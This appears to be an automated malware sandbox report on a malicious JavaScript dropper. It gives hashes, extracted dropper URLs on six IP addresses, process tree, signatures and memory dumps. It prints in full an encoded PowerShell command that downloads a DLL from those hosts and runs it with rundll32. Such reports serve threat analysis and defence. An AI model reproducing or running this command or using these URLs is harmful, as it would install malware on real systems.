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Analysis

  • max time kernel
    30s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16/03/2023, 07:52

General

  • Target

    gM.dhnZAf.825544279.js

  • Size

    58KB

  • MD5

    e957a7e0df257710146c2b6d3faeb0a0

  • SHA1

    f60110c9b3dc63f515020981f11fd785b6478ea2

  • SHA256

    93f4f64afab5b1a7f495e0a74118c86050be4eceaac92710b171be208ca6a3a1

  • SHA512

    d0922498544d23e0ecd34fc4fbe5f081a3e7d041bfbe4d286e88e208b0c5b65bff516eeed38b531ad13d31e89d9a4829d1b8ecb046d19af34168ab4d04a46b2e

  • SSDEEP

    768:0Pck7kN/4F7PIWCirMSrVuRfmmKnRO6IM+G1T0Rvob5AfdbtDx00knaxe1DVIPRm:r/QDPVJRXbxNAfR7hsIp8dSC

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://198.44.132.63/azoznP2HTX1.dat

exe.dropper

http://128.254.207.26/9CJqq.dat

exe.dropper

http://139.180.170.206/Hm6BeG.dat

exe.dropper

http://94.131.115.19/wNRI9qF0Tqgi.dat

exe.dropper

http://87.236.146.84/hbWBN.dat

exe.dropper

http://206.53.48.51/VqLRtB3ecLE.dat

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\gM.dhnZAf.825544279.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAZwBhAG0AZQBzAHQAZQByAHMAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADgALgA0ADQALgAxADMAMgAuADYAMwAvAGEAegBvAHoAbgBQADIASABUAFgAMQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADIAOAAuADIANQA0AC4AMgAwADcALgAyADYALwA5AEMASgBxAHEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQAzADkALgAxADgAMAAuADEANwAwAC4AMgAwADYALwBIAG0ANgBCAGUARwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA1AC4AMQA5AC8AdwBOAFIASQA5AHEARgAwAFQAcQBnAGkALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADgANAAvAGgAYgBXAEIATgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAyADAANgAuADUAMwAuADQAOAAuADUAMQAvAFYAcQBMAFIAdABCADMAZQBjAEwARQAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAcgBhAGMAaAB5AGMAZQBwAGgAYQBsAHkAIABpAG4AIAAkAGcAYQBtAGUAcwB0AGUAcgBzACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGIAcgBhAGMAaAB5AGMAZQBwAGgAYQBsAHkAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAcgBnAGUAbgB0AGkAZABlAC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABhAHIAZwBlAG4AdABpAGQAZQAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAcgBnAGUAbgB0AGkAZABlAC4AZABsAGwALABYAFMAOAA4ADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1980

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1980-58-0x000000001B180000-0x000000001B462000-memory.dmp

    Filesize

    2.9MB

  • memory/1980-59-0x00000000022A0000-0x00000000022A8000-memory.dmp

    Filesize

    32KB

  • memory/1980-60-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/1980-61-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/1980-62-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/1980-63-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB